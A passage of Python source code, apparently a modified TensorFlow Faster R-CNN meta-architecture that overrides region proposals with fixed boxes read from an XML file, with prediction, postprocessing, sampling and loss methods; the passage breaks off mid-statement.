second_stage_feature_extractor_scope): variables_to_restore = {} for variable in tf.global_variables(): for scope_name in [first_stage_feature_extractor_scope, second_stage_feature_extractor_scope]: if variable.op.name.startswith(scope_name): var_name = variable.op.name.replace(scope_name + '/', '') variables_to_restore[var_name] = variable return variables_to_restore class FasterRCNNMetaArchOverrideRPN(model.DetectionModel): def __init__(self, is_training, num_classes, image_resizer_fn, feature_extractor, number_of_stages, first_stage_anchor_generator, first_stage_target_assigner, first_stage_atrous_rate, first_stage_box_predictor_arg_scope_fn, first_stage_box_predictor_kernel_size, first_stage_box_predictor_depth, first_stage_minibatch_size, first_stage_sampler, first_stage_nms_score_threshold, first_stage_nms_iou_threshold, first_stage_max_proposals, first_stage_proposals_path, first_stage_localization_loss_weight, first_stage_objectness_loss_weight, initial_crop_size, maxpool_kernel_size, maxpool_stride, second_stage_target_assigner, second_stage_mask_rcnn_box_predictor, second_stage_batch_size, second_stage_sampler, second_stage_non_max_suppression_fn, second_stage_score_conversion_fn, second_stage_localization_loss_weight, second_stage_classification_loss_weight, second_stage_classification_loss, second_stage_mask_prediction_loss_weight=1.0, hard_example_miner=None, parallel_iterations=16, add_summaries=True, use_matmul_crop_and_resize=False, clip_anchors_to_image=False): print("Running FasterRCNN with overriden RPN") super(FasterRCNNMetaArchOverrideRPN, self).__init__(num_classes=num_classes) if (number_of_stages==1): raise ValueError('Number of stages = 1 is not allowed for overriden RPN proposals') if is_training and second_stage_batch_size > first_stage_max_proposals: raise ValueError('second_stage_batch_size should be no greater than ' 'first_stage_max_proposals.') if not isinstance(first_stage_anchor_generator, grid_anchor_generator.GridAnchorGenerator): raise ValueError('first_stage_anchor_generator must be of type ' 'grid_anchor_generator.GridAnchorGenerator.') first_stage_proposals_path = os.path.join(first_stage_proposals_path, '') xml_root = data_util.read_xml_batch(first_stage_proposals_path)[0]['annot'] _, self.proposals = data_util.xml_to_numpy(None, xml_root) print("Shape of overriding proposals",self.proposals.shape) self._is_training = is_training self._image_resizer_fn = image_resizer_fn self._feature_extractor = feature_extractor self._number_of_stages = number_of_stages self._proposal_target_assigner = first_stage_target_assigner self._detector_target_assigner = second_stage_target_assigner self._box_coder = self._proposal_target_assigner.box_coder self._first_stage_anchor_generator = first_stage_anchor_generator self._first_stage_atrous_rate = first_stage_atrous_rate self._first_stage_box_predictor_arg_scope_fn = ( first_stage_box_predictor_arg_scope_fn) self._first_stage_box_predictor_kernel_size = ( first_stage_box_predictor_kernel_size) self._first_stage_box_predictor_depth = first_stage_box_predictor_depth self._first_stage_minibatch_size = first_stage_minibatch_size self._first_stage_sampler = first_stage_sampler self._first_stage_box_predictor = ( box_predictor_builder.build_convolutional_box_predictor( is_training=self._is_training, num_classes=1, conv_hyperparams_fn=self._first_stage_box_predictor_arg_scope_fn, use_dropout=False, dropout_keep_prob=1.0, box_code_size=self._box_coder.code_size, kernel_size=1, num_layers_before_predictor=0, min_depth=0, max_depth=0)) self._first_stage_nms_score_threshold = first_stage_nms_score_threshold self._first_stage_nms_iou_threshold = first_stage_nms_iou_threshold self._first_stage_max_proposals = first_stage_max_proposals self._first_stage_localization_loss = ( losses.WeightedSmoothL1LocalizationLoss()) self._first_stage_objectness_loss = ( losses.WeightedSoftmaxClassificationLoss()) self._first_stage_loc_loss_weight = first_stage_localization_loss_weight self._first_stage_obj_loss_weight = first_stage_objectness_loss_weight self._initial_crop_size = initial_crop_size self._maxpool_kernel_size = maxpool_kernel_size self._maxpool_stride = maxpool_stride self._mask_rcnn_box_predictor = second_stage_mask_rcnn_box_predictor self._second_stage_batch_size = second_stage_batch_size self._second_stage_sampler = second_stage_sampler self._second_stage_nms_fn = second_stage_non_max_suppression_fn self._second_stage_score_conversion_fn = second_stage_score_conversion_fn self._second_stage_localization_loss = ( losses.WeightedSmoothL1LocalizationLoss()) self._second_stage_classification_loss = second_stage_classification_loss self._second_stage_mask_loss = ( losses.WeightedSigmoidClassificationLoss()) self._second_stage_loc_loss_weight = second_stage_localization_loss_weight self._second_stage_cls_loss_weight = second_stage_classification_loss_weight self._second_stage_mask_loss_weight = ( second_stage_mask_prediction_loss_weight) self._use_matmul_crop_and_resize = use_matmul_crop_and_resize self._hard_example_miner = hard_example_miner self._parallel_iterations = parallel_iterations self.clip_anchors_to_image = clip_anchors_to_image if self._number_of_stages <= 0 or self._number_of_stages > 3: raise ValueError('Number of stages should be a value in {1, 2, 3}.') @property def first_stage_feature_extractor_scope(self): return 'FirstStageFeatureExtractor' @property def second_stage_feature_extractor_scope(self): return 'SecondStageFeatureExtractor' @property def first_stage_box_predictor_scope(self): return 'FirstStageBoxPredictor' @property def second_stage_box_predictor_scope(self): return 'SecondStageBoxPredictor' @property def max_num_proposals(self): if self._is_training and not self._hard_example_miner: return self._second_stage_batch_size return self.proposals.shape[1] @property def anchors(self): if not self._anchors: raise RuntimeError('anchors have not been constructed yet!') if not isinstance(self._anchors, box_list.BoxList): raise RuntimeError('anchors should be a BoxList object, but is not.') return self._anchors def preprocess(self, inputs): if inputs.dtype is not tf.float32: raise ValueError('`preprocess` expects a tf.float32 tensor') with tf.name_scope('Preprocessor'): outputs = shape_utils.static_or_dynamic_map_fn( self._image_resizer_fn, elems=inputs, dtype=[tf.float32, tf.int32], parallel_iterations=self._parallel_iterations) resized_inputs = outputs[0] true_image_shapes = outputs[1] return (self._feature_extractor.preprocess(resized_inputs), true_image_shapes) def _compute_clip_window(self, image_shapes): clip_heights = image_shapes[:, 0] clip_widths = image_shapes[:, 1] clip_window = tf.to_float(tf.stack([tf.zeros_like(clip_heights), tf.zeros_like(clip_heights), clip_heights, clip_widths], axis=1)) return clip_window def predict(self, preprocessed_inputs, true_image_shapes): print("Predict running") image_shape = tf.shape(preprocessed_inputs) rpn_features_to_crop, _ = self._feature_extractor.extract_proposal_features( preprocessed_inputs, scope=self.first_stage_feature_extractor_scope) prediction_dict = { 'rpn_features_to_crop': rpn_features_to_crop, 'image_shape': image_shape, } if self._number_of_stages >= 2: prediction_dict.update(self._predict_second_stage( rpn_features_to_crop, image_shape, true_image_shapes)) if self._number_of_stages == 3: prediction_dict = self._predict_third_stage( prediction_dict, true_image_shapes) return prediction_dict def _image_batch_shape_2d(self, image_batch_shape_1d): return tf.tile(tf.expand_dims(image_batch_shape_1d[1:], 0), [image_batch_shape_1d[0], 1]) def _predict_second_stage(self, rpn_features_to_crop, image_shape, true_image_shapes): image_shape_2d = self._image_batch_shape_2d(image_shape) def normalize_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_normalized_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image def to_absolute_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_absolute_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image proposal_boxes = tf.constant(self.proposals, dtype='float32') proposal_boxes = shape_utils.static_or_dynamic_map_fn( to_absolute_boxes, elems=[proposal_boxes, true_image_shapes], dtype=tf.float32) num_proposals = tf.constant([proposal_boxes.shape[1]], dtype='int32') if self._is_training: proposal_boxes = tf.stop_gradient(proposal_boxes) if not self._hard_example_miner: placeholder_scores = tf.zeros((1, proposal_boxes.shape[1], 2)) (groundtruth_boxlists, groundtruth_classes_with_background_list, _, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) (proposal_boxes, _, num_proposals) = self._sample_box_classifier_batch(proposal_boxes, placeholder_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, true_image_shapes[0]) proposal_boxes_normalized = shape_utils.static_or_dynamic_map_fn( normalize_boxes, elems=[proposal_boxes, true_image_shapes], dtype=tf.float32) flattened_proposal_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, proposal_boxes_normalized)) box_classifier_features = ( self._feature_extractor.extract_box_classifier_features( flattened_proposal_feature_maps, scope=self.second_stage_feature_extractor_scope)) if self._mask_rcnn_box_predictor.is_keras_model: box_predictions = self._mask_rcnn_box_predictor( [box_classifier_features], prediction_stage=2) else: box_predictions = self._mask_rcnn_box_predictor.predict( [box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=2) refined_box_encodings = tf.squeeze( box_predictions[box_predictor.BOX_ENCODINGS], axis=1, name='all_refined_box_encodings') class_predictions_with_background = tf.squeeze( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1, name='all_class_predictions_with_background') absolute_proposal_boxes = ops.normalized_to_image_coordinates( proposal_boxes_normalized, image_shape, self._parallel_iterations) prediction_dict = { 'refined_box_encodings': refined_box_encodings, 'class_predictions_with_background': class_predictions_with_background, 'num_proposals': num_proposals, 'proposal_boxes': absolute_proposal_boxes, 'box_classifier_features': box_classifier_features, 'proposal_boxes_normalized': proposal_boxes_normalized, } return prediction_dict def _predict_third_stage(self, prediction_dict, image_shapes): if self._is_training: curr_box_classifier_features = prediction_dict['box_classifier_features'] detection_classes = prediction_dict['class_predictions_with_background'] if self._mask_rcnn_box_predictor.is_keras_model: mask_predictions = self._mask_rcnn_box_predictor( [curr_box_classifier_features], prediction_stage=3) else: mask_predictions = self._mask_rcnn_box_predictor.predict( [curr_box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=3) prediction_dict['mask_predictions'] = tf.squeeze(mask_predictions[ box_predictor.MASK_PREDICTIONS], axis=1) else: detections_dict = self._postprocess_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], image_shapes) prediction_dict.update(detections_dict) detection_boxes = detections_dict[ fields.DetectionResultFields.detection_boxes] detection_classes = detections_dict[ fields.DetectionResultFields.detection_classes] rpn_features_to_crop = prediction_dict['rpn_features_to_crop'] batch_size = tf.shape(detection_boxes)[0] max_detection = tf.shape(detection_boxes)[1] flattened_detected_feature_maps = ( self._compute_second_stage_input_feature_maps( rpn_features_to_crop, detection_boxes)) curr_box_classifier_features = ( self._feature_extractor.extract_box_classifier_features( flattened_detected_feature_maps, scope=self.second_stage_feature_extractor_scope)) if self._mask_rcnn_box_predictor.is_keras_model: mask_predictions = self._mask_rcnn_box_predictor( [curr_box_classifier_features], prediction_stage=3) else: mask_predictions = self._mask_rcnn_box_predictor.predict( [curr_box_classifier_features], num_predictions_per_location=[1], scope=self.second_stage_box_predictor_scope, prediction_stage=3) detection_masks = tf.squeeze(mask_predictions[ box_predictor.MASK_PREDICTIONS], axis=1) _, num_classes, mask_height, mask_width = ( detection_masks.get_shape().as_list()) _, max_detection = detection_classes.get_shape().as_list() if num_classes > 1: detection_masks = self._gather_instance_masks( detection_masks, detection_classes) prediction_dict[fields.DetectionResultFields.detection_masks] = ( tf.reshape(detection_masks, [batch_size, max_detection, mask_height, mask_width])) return prediction_dict def _gather_instance_masks(self, instance_masks, classes): _, num_classes, height, width = instance_masks.get_shape().as_list() k = tf.shape(instance_masks)[0] instance_masks = tf.reshape(instance_masks, [-1, height, width]) classes = tf.to_int32(tf.reshape(classes, [-1])) gather_idx = tf.range(k) * num_classes + classes return tf.gather(instance_masks, gather_idx) def _extract_rpn_feature_maps(self, preprocessed_inputs): image_shape = tf.shape(preprocessed_inputs) rpn_features_to_crop, _ = self._feature_extractor.extract_proposal_features( preprocessed_inputs, scope=self.first_stage_feature_extractor_scope) feature_map_shape = tf.shape(rpn_features_to_crop) anchors = box_list_ops.concatenate( self._first_stage_anchor_generator.generate([(feature_map_shape[1], feature_map_shape[2])])) with slim.arg_scope(self._first_stage_box_predictor_arg_scope_fn()): kernel_size = self._first_stage_box_predictor_kernel_size rpn_box_predictor_features = slim.conv2d( rpn_features_to_crop, self._first_stage_box_predictor_depth, kernel_size=[kernel_size, kernel_size], rate=self._first_stage_atrous_rate, activation_fn=tf.nn.relu6) return (rpn_box_predictor_features, rpn_features_to_crop, anchors, image_shape) def _predict_rpn_proposals(self, rpn_box_predictor_features): num_anchors_per_location = ( self._first_stage_anchor_generator.num_anchors_per_location()) if len(num_anchors_per_location) != 1: raise RuntimeError('anchor_generator is expected to generate anchors ' 'corresponding to a single feature map.') if self._first_stage_box_predictor.is_keras_model: box_predictions = self._first_stage_box_predictor( [rpn_box_predictor_features]) else: box_predictions = self._first_stage_box_predictor.predict( [rpn_box_predictor_features], num_anchors_per_location, scope=self.first_stage_box_predictor_scope) box_encodings = tf.concat( box_predictions[box_predictor.BOX_ENCODINGS], axis=1) objectness_predictions_with_background = tf.concat( box_predictions[box_predictor.CLASS_PREDICTIONS_WITH_BACKGROUND], axis=1) return (tf.squeeze(box_encodings, axis=2), objectness_predictions_with_background) def _remove_invalid_anchors_and_predictions( self, box_encodings, objectness_predictions_with_background, anchors_boxlist, clip_window): pruned_anchors_boxlist, keep_indices = box_list_ops.prune_outside_window( anchors_boxlist, clip_window) def _batch_gather_kept_indices(predictions_tensor): return shape_utils.static_or_dynamic_map_fn( partial(tf.gather, indices=keep_indices), elems=predictions_tensor, dtype=tf.float32, parallel_iterations=self._parallel_iterations, back_prop=True) return (_batch_gather_kept_indices(box_encodings), _batch_gather_kept_indices(objectness_predictions_with_background), pruned_anchors_boxlist) def _flatten_first_two_dimensions(self, inputs): combined_shape = shape_utils.combined_static_and_dynamic_shape(inputs) flattened_shape = tf.stack([combined_shape[0] * combined_shape[1]] + combined_shape[2:]) return tf.reshape(inputs, flattened_shape) def postprocess(self, prediction_dict, true_image_shapes): with tf.name_scope('FirstStagePostprocessor'): if self._number_of_stages == 1: proposal_boxes, proposal_scores, num_proposals = self._postprocess_rpn( prediction_dict['rpn_box_encodings'], prediction_dict['rpn_objectness_predictions_with_background'], prediction_dict['anchors'], true_image_shapes, true_image_shapes) return { fields.DetectionResultFields.detection_boxes: proposal_boxes, fields.DetectionResultFields.detection_scores: proposal_scores, fields.DetectionResultFields.num_detections: tf.to_float(num_proposals), } # TODO(jrru): Remove mask_predictions from _post_process_box_classifier. with tf.name_scope('SecondStagePostprocessor'): if (self._number_of_stages == 2 or (self._number_of_stages == 3 and self._is_training)): mask_predictions = prediction_dict.get(box_predictor.MASK_PREDICTIONS) detections_dict = self._postprocess_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], true_image_shapes, mask_predictions=mask_predictions) return detections_dict if self._number_of_stages == 3: # Post processing is already performed in 3rd stage. We need to transfer # postprocessed tensors from `prediction_dict` to `detections_dict`. detections_dict = {} for key in prediction_dict: if key == fields.DetectionResultFields.detection_masks: detections_dict[key] = tf.sigmoid(prediction_dict[key]) elif 'detection' in key: detections_dict[key] = prediction_dict[key] return detections_dict def _postprocess_rpn(self, rpn_box_encodings_batch, rpn_objectness_predictions_with_background_batch, anchors, image_shapes, true_image_shapes): rpn_box_encodings_batch = tf.expand_dims(rpn_box_encodings_batch, axis=2) rpn_encodings_shape = shape_utils.combined_static_and_dynamic_shape( rpn_box_encodings_batch) tiled_anchor_boxes = tf.tile( tf.expand_dims(anchors, 0), [rpn_encodings_shape[0], 1, 1]) proposal_boxes = self._batch_decode_boxes(rpn_box_encodings_batch, tiled_anchor_boxes) proposal_boxes = tf.squeeze(proposal_boxes, axis=2) rpn_objectness_softmax_without_background = tf.nn.softmax( rpn_objectness_predictions_with_background_batch)[:, :, 1] clip_window = self._compute_clip_window(image_shapes) (proposal_boxes, proposal_scores, _, _, _, num_proposals) = post_processing.batch_multiclass_non_max_suppression( tf.expand_dims(proposal_boxes, axis=2), tf.expand_dims(rpn_objectness_softmax_without_background, axis=2), self._first_stage_nms_score_threshold, self._first_stage_nms_iou_threshold, self._first_stage_max_proposals, self._first_stage_max_proposals, clip_window=clip_window) if self._is_training: proposal_boxes = tf.stop_gradient(proposal_boxes) if not self._hard_example_miner: (groundtruth_boxlists, groundtruth_classes_with_background_list, _, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) (proposal_boxes, proposal_scores, num_proposals) = self._sample_box_classifier_batch( proposal_boxes, proposal_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list) # normalize proposal boxes def normalize_boxes(args): proposal_boxes_per_image = args[0] image_shape = args[1] normalized_boxes_per_image = box_list_ops.to_normalized_coordinates( box_list.BoxList(proposal_boxes_per_image), image_shape[0], image_shape[1], check_range=False).get() return normalized_boxes_per_image normalized_proposal_boxes = shape_utils.static_or_dynamic_map_fn( normalize_boxes, elems=[proposal_boxes, image_shapes], dtype=tf.float32) return normalized_proposal_boxes, proposal_scores, num_proposals def _sample_box_classifier_batch( self, proposal_boxes, proposal_scores, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, debug=None): single_image_proposal_box_sample = [] single_image_proposal_score_sample = [] single_image_num_proposals_sample = [] for (single_image_proposal_boxes, single_image_proposal_scores, single_image_num_proposals, single_image_groundtruth_boxlist, single_image_groundtruth_classes_with_background, single_image_groundtruth_weights) in zip( tf.unstack(proposal_boxes), tf.unstack(proposal_scores), tf.unstack(num_proposals), groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): single_image_boxlist = box_list.BoxList(single_image_proposal_boxes) single_image_boxlist.add_field(fields.BoxListFields.scores, single_image_proposal_scores) sampled_boxlist = self._sample_box_classifier_minibatch_single_image( single_image_boxlist, single_image_num_proposals, single_image_groundtruth_boxlist, single_image_groundtruth_classes_with_background, single_image_groundtruth_weights, debug) # sampled_boxlist.set(tf.Print(sampled_boxlist.get(), [sampled_boxlist.num_boxes()], message="sample size ")) sampled_padded_boxlist = box_list_ops.pad_or_clip_box_list( sampled_boxlist, num_boxes=self._second_stage_batch_size) single_image_num_proposals_sample.append(tf.minimum( sampled_boxlist.num_boxes(), self._second_stage_batch_size)) bb = sampled_padded_boxlist.get() #bb = tf.Print(bb, [single_image_groundtruth_boxlist.num_boxes()], message=("After padding and num of GT" + str(bb.shape))) single_image_proposal_box_sample.append(bb) single_image_proposal_score_sample.append( sampled_padded_boxlist.get_field(fields.BoxListFields.scores)) return (tf.stack(single_image_proposal_box_sample), tf.stack(single_image_proposal_score_sample), tf.stack(single_image_num_proposals_sample)) def _format_groundtruth_data(self, true_image_shapes, stage='detection'): groundtruth_boxlists = [ box_list_ops.to_absolute_coordinates( box_list.BoxList(boxes), true_image_shapes[i, 0], true_image_shapes[i, 1]) for i, boxes in enumerate( self.groundtruth_lists(fields.BoxListFields.boxes)) ] groundtruth_classes_with_background_list = [ tf.to_float( tf.pad(one_hot_encoding, [[0, 0], [1, 0]], mode='CONSTANT')) for one_hot_encoding in self.groundtruth_lists( fields.BoxListFields.classes)] groundtruth_masks_list = self._groundtruth_lists.get( fields.BoxListFields.masks) if groundtruth_masks_list is not None: resized_masks_list = [] for mask in groundtruth_masks_list: _, resized_mask, _ = self._image_resizer_fn( # Reuse the given `image_resizer_fn` to resize groundtruth masks. # `mask` tensor for an image is of the shape [num_masks, # image_height, image_width]. Below we create a dummy image of the # the shape [image_height, image_width, 1] to use with # `image_resizer_fn`. image=tf.zeros(tf.stack([tf.shape(mask)[1], tf.shape(mask)[2], 1])), masks=mask) resized_masks_list.append(resized_mask) groundtruth_masks_list = resized_masks_list if self.groundtruth_has_field(fields.BoxListFields.weights): groundtruth_weights_list = self.groundtruth_lists( fields.BoxListFields.weights) else: # Set weights for all batch elements equally to 1.0 groundtruth_weights_list = [] for groundtruth_classes in groundtruth_classes_with_background_list: num_gt = tf.shape(groundtruth_classes)[0] groundtruth_weights = tf.ones(num_gt) groundtruth_weights_list.append(groundtruth_weights) return (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list) def _sample_box_classifier_minibatch_single_image( self, proposal_boxlist, num_valid_proposals, groundtruth_boxlist, groundtruth_classes_with_background, groundtruth_weights, debug=None): (cls_targets, cls_weights, _, _, _) = self._detector_target_assigner.assign( proposal_boxlist, groundtruth_boxlist, groundtruth_classes_with_background, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), groundtruth_weights=groundtruth_weights) # Selects all boxes as candidates if none of them is selected according # to cls_weights. This could happen as boxes within certain IOU ranges # are ignored. If triggered, the selected boxes will still be ignored # during loss computation. positive_indicator = tf.greater(tf.argmax(cls_targets, axis=1), 0) # Debug target mapping #positive_indicator = tf.Print(positive_indicator, [positive_indicator, box_list_ops.to_normalized_coordinates(groundtruth_boxlist, debug[0], debug[1]).get()], summarize=999999) valid_indicator = tf.logical_and( tf.range(proposal_boxlist.num_boxes()) < num_valid_proposals, cls_weights > 0 ) sampled_indices = self._second_stage_sampler.subsample( valid_indicator, self._second_stage_batch_size, positive_indicator) return box_list_ops.boolean_mask(proposal_boxlist, sampled_indices) def _compute_second_stage_input_feature_maps(self, features_to_crop, proposal_boxes_normalized): def get_box_inds(proposals): proposals_shape = proposals.get_shape().as_list() if any(dim is None for dim in proposals_shape): proposals_shape = tf.shape(proposals) ones_mat = tf.ones(proposals_shape[:2], dtype=tf.int32) multiplier = tf.expand_dims( tf.range(start=0, limit=proposals_shape[0]), 1) return tf.reshape(ones_mat * multiplier, [-1]) if self._use_matmul_crop_and_resize: def _single_image_crop_and_resize(inputs): single_image_features_to_crop, proposal_boxes_normalized = inputs return ops.matmul_crop_and_resize( tf.expand_dims(single_image_features_to_crop, 0), proposal_boxes_normalized, [self._initial_crop_size, self._initial_crop_size]) cropped_regions = self._flatten_first_two_dimensions( shape_utils.static_or_dynamic_map_fn( _single_image_crop_and_resize, elems=[features_to_crop, proposal_boxes_normalized], dtype=tf.float32, parallel_iterations=self._parallel_iterations)) else: cropped_regions = tf.image.crop_and_resize( features_to_crop, self._flatten_first_two_dimensions(proposal_boxes_normalized), get_box_inds(proposal_boxes_normalized), (self._initial_crop_size, self._initial_crop_size)) return slim.max_pool2d( cropped_regions, [self._maxpool_kernel_size, self._maxpool_kernel_size], # Michele: Being specific to text, we want to preserve width more than height stride=[self._maxpool_stride, 1]) def _postprocess_box_classifier(self, refined_box_encodings, class_predictions_with_background, proposal_boxes, num_proposals, image_shapes, mask_predictions=None): refined_box_encodings_batch = tf.reshape( refined_box_encodings, [-1, self.max_num_proposals, refined_box_encodings.shape[1], self._box_coder.code_size]) class_predictions_with_background_batch = tf.reshape( class_predictions_with_background, [-1, self.max_num_proposals, self.num_classes + 1] ) refined_decoded_boxes_batch = self._batch_decode_boxes( refined_box_encodings_batch, proposal_boxes) class_predictions_with_background_batch = ( self._second_stage_score_conversion_fn( class_predictions_with_background_batch)) class_predictions_batch = tf.reshape( tf.slice(class_predictions_with_background_batch, [0, 0, 1], [-1, -1, -1]), [-1, self.max_num_proposals, self.num_classes]) clip_window = self._compute_clip_window(image_shapes) mask_predictions_batch = None if mask_predictions is not None: mask_height = mask_predictions.shape[2].value mask_width = mask_predictions.shape[3].value mask_predictions = tf.sigmoid(mask_predictions) mask_predictions_batch = tf.reshape( mask_predictions, [-1, self.max_num_proposals, self.num_classes, mask_height, mask_width]) (nmsed_boxes, nmsed_scores, nmsed_classes, nmsed_masks, _, num_detections) = self._second_stage_nms_fn( refined_decoded_boxes_batch, class_predictions_batch, clip_window=clip_window, change_coordinate_frame=True, num_valid_boxes=num_proposals, masks=mask_predictions_batch) detections = { fields.DetectionResultFields.detection_boxes: nmsed_boxes, fields.DetectionResultFields.detection_scores: nmsed_scores, fields.DetectionResultFields.detection_classes: nmsed_classes, fields.DetectionResultFields.num_detections: tf.to_float(num_detections) } if nmsed_masks is not None: detections[fields.DetectionResultFields.detection_masks] = nmsed_masks return detections def _batch_decode_boxes(self, box_encodings, anchor_boxes): combined_shape = shape_utils.combined_static_and_dynamic_shape( box_encodings) num_classes = combined_shape[2] tiled_anchor_boxes = tf.tile( tf.expand_dims(anchor_boxes, 2), [1, 1, num_classes, 1]) tiled_anchors_boxlist = box_list.BoxList( tf.reshape(tiled_anchor_boxes, [-1, 4])) decoded_boxes = self._box_coder.decode( tf.reshape(box_encodings, [-1, self._box_coder.code_size]), tiled_anchors_boxlist) return tf.reshape(decoded_boxes.get(), tf.stack([combined_shape[0], combined_shape[1], num_classes, 4])) def loss(self, prediction_dict, true_image_shapes, scope=None): with tf.name_scope(scope, 'Loss', prediction_dict.values()): (groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_masks_list, groundtruth_weights_list ) = self._format_groundtruth_data(true_image_shapes) #if self._number_of_stages > 1: # loss_dict.update( loss_dict = self._loss_box_classifier( prediction_dict['refined_box_encodings'], prediction_dict['class_predictions_with_background'], prediction_dict['proposal_boxes'], prediction_dict['num_proposals'], groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, prediction_dict['image_shape'], prediction_dict.get('mask_predictions'), groundtruth_masks_list, )#) return loss_dict def _loss_rpn(self, rpn_box_encodings, rpn_objectness_predictions_with_background, anchors, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list): with tf.name_scope('RPNLoss'): (batch_cls_targets, batch_cls_weights, batch_reg_targets, batch_reg_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._proposal_target_assigner, anchors_batch=box_list.BoxList(anchors), gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=(len(groundtruth_boxlists) * [None]), gt_weights_batch=groundtruth_weights_list) batch_cls_targets = tf.squeeze(batch_cls_targets, axis=2) def _minibatch_subsample_fn(inputs): cls_targets, cls_weights = inputs return self._first_stage_sampler.subsample( tf.cast(cls_weights, tf.bool), self._first_stage_minibatch_size, tf.cast(cls_targets, tf.bool)) batch_sampled_indices = tf.to_float(shape_utils.static_or_dynamic_map_fn( _minibatch_subsample_fn, [batch_cls_targets, batch_cls_weights], dtype=tf.bool, parallel_iterations=self._parallel_iterations, back_prop=True)) # Normalize by number of examples in sampled minibatch normalizer = tf.reduce_sum(batch_sampled_indices, axis=1) batch_one_hot_targets = tf.one_hot( tf.to_int32(batch_cls_targets), depth=2) sampled_reg_indices = tf.multiply(batch_sampled_indices, batch_reg_weights) localization_losses = self._first_stage_localization_loss( rpn_box_encodings, batch_reg_targets, weights=sampled_reg_indices) objectness_losses = self._first_stage_objectness_loss( rpn_objectness_predictions_with_background, batch_one_hot_targets, weights=batch_sampled_indices) localization_loss = tf.reduce_mean( tf.reduce_sum(localization_losses, axis=1) / normalizer) objectness_loss = tf.reduce_mean( tf.reduce_sum(objectness_losses, axis=1) / normalizer) localization_loss = tf.multiply(self._first_stage_loc_loss_weight, localization_loss, name='localization_loss') objectness_loss = tf.multiply(self._first_stage_obj_loss_weight, objectness_loss, name='objectness_loss') loss_dict = {localization_loss.op.name: localization_loss, objectness_loss.op.name: objectness_loss} return loss_dict def _loss_box_classifier(self, refined_box_encodings, class_predictions_with_background, proposal_boxes, num_proposals, groundtruth_boxlists, groundtruth_classes_with_background_list, groundtruth_weights_list, image_shape, prediction_masks=None, groundtruth_masks_list=None): with tf.name_scope('BoxClassifierLoss'): paddings_indicator = self._padded_batched_proposals_indicator( num_proposals, self.max_num_proposals) proposal_boxlists = [ box_list.BoxList(proposal_boxes_single_image) for proposal_boxes_single_image in tf.unstack(proposal_boxes)] batch_size = len(proposal_boxlists) num_proposals_or_one = tf.to_float(tf.expand_dims( tf.maximum(num_proposals, tf.ones_like(num_proposals)), 1)) normalizer = tf.tile(num_proposals_or_one, [1, self.max_num_proposals]) * batch_size (batch_cls_targets_with_background, batch_cls_weights, batch_reg_targets, batch_reg_weights, _) = target_assigner.batch_assign_targets( target_assigner=self._detector_target_assigner, anchors_batch=proposal_boxlists, gt_box_batch=groundtruth_boxlists, gt_class_targets_batch=groundtruth_classes_with_background_list, unmatched_class_label=tf.constant( [1] + self._num_classes * [0], dtype=tf.float32), gt_weights_batch=groundtruth_weights_list) class_predictions_with_background = tf.reshape( class_predictions_with_background, [batch_size, self.max_num_proposals, -1]) flat_cls_targets_with_background = tf.reshape( batch_cls_targets_with_background, [batch_size * self.max_num_proposals, -1]) one_hot_flat_cls_targets_with_background = tf.argmax( flat_cls_targets_with_background, axis=1) one_hot_flat_cls_targets_with_background = tf.one_hot( one_hot_flat_cls_targets_with_background, flat_cls_targets_with_background.get_shape()[1]) # If using a shared box across classes use directly if refined_box_encodings.shape[1] == 1: reshaped_refined_box_encodings = tf.reshape( refined_box_encodings, [batch_size, self.max_num_proposals, self._box_coder.code_size]) # For anchors with multiple labels, picks refined_location_encodings # for just one class to avoid over-counting for regression loss and # (optionally) mask loss. else: # We only predict refined location encodings for the non background # classes, but we now pad it to make it compatible with the class # predictions refined_box_encodings_with_background = tf.pad( refined_box_encodings, [[0, 0], [1, 0], [0, 0]]) refined_box_encodings_masked_by_class_targets = tf.boolean_mask( refined_box_encodings_with_background, tf.greater(one_hot_flat_cls_targets_with_background, 0)) reshaped_refined_box_encodings = tf.reshape( refined_box_encodings_masked_by_class_targets, [batch_size, self.max_num_proposals, self._box_coder.code_size]) second_stage_loc_losses = self._second_stage_localization_loss( reshaped_refined_box_encodings, batch_reg_targets, weights=batch_reg_weights) / normalizer second_stage_cls_losses = ops.reduce_sum_trailing_dimensions( self._second_stage_classification_loss( class_predictions_with_background, batch_cls_targets_with_background, weights=batch_cls_weights), ndims=2) / normalizer second_stage_loc_loss = tf.reduce_sum( tf.boolean_mask(second_stage_loc_losses, paddings_indicator)) second_stage_cls_loss = tf.reduce_sum( tf.boolean_mask(second_stage_cls_losses, paddings_indicator)) if self._hard_example_miner: (second_stage_loc_loss, second_stage_cls_loss ) = self._unpad_proposals_and_apply_hard_mining( proposal_boxlists, second_stage_loc_losses, second_stage_cls_losses, num_proposals) localization_loss = 